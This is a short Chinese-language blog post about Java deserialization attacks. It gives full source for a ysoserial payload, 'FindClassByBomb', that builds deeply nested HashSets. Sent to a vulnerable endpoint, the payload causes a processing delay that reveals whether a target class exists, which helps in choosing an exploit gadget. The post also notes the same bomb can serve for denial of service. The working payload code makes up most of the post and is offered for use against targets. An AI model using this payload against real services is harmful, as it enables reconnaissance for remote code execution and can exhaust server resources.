当你找到了一个反序列化的点，但是不确定目标存在哪些依赖，从而无法及时构造出合适的 Gadget，实在是令人可惜。那么有没有办法 fuzz 出目标的 class 呢？反序列化炸弹的方式可以做到！

原理：通过构造特殊的多层嵌套 HashSet，导致服务器反序列化的时间复杂度提升，消耗服务器性能，导致延时确认 class。

示例：

package ysoserial.payloads;

import ysoserial.Serializer;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.util.PayloadRunner;

import java.util.Base64;
import java.util.HashSet;
import java.util.Set;


@Authors({ Authors.SHULE })
public class FindClassByBomb extends PayloadRunner implements ObjectPayload<Object> {

    public Object getObject ( final String command ) throws Exception {
        int depth;
        String className = null;

        if(command.contains("|")){
            String[] x = command.split("\\|");
            className = x[0];
            depth = Integer.valueOf(x[1]);
        }else{
            className = command;
            depth = 28;
        }
        Class findClazz = Class.forName(className);
        Set<Object> root = new HashSet<Object>();
        Set<Object> s1 = root;
        Set<Object> s2 = new HashSet<Object>();
        for (int i = 0; i < depth; i++) {
            Set<Object> t1 = new HashSet<Object>();
            Set<Object> t2 = new HashSet<Object>();
            t1.add(findClazz);

            s1.add(t1);
            s1.add(t2);

            s2.add(t1);
            s2.add(t2);
            s1 = t1;
            s2 = t2;
        }
        return root;
    }

    public static void main(String[] args) throws Exception {

        byte[] serialize = Serializer.serialize(new FindClassByBomb().getObject("java.lang.String"));
        System.out.println(Base64.getUrlEncoder().encodeToString(serialize));
        //PayloadRunner.run(FindClassByBomb.class,args);
    }
}

如果目标环境存在某个类反序列化的时候则会延时，否则不会。

这也告诉我们，java 反序列漏洞的危害不单单是 RCE，还可以是 DDoS

本文参考 https://gv7.me/articles/2021/construct-java-detection-class-deserialization-gadget/#0x05-%E9%80%9A%E8%BF%87%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%82%B8%E5%BC%B9%E6%8E%A2%E6%B5%8Bclass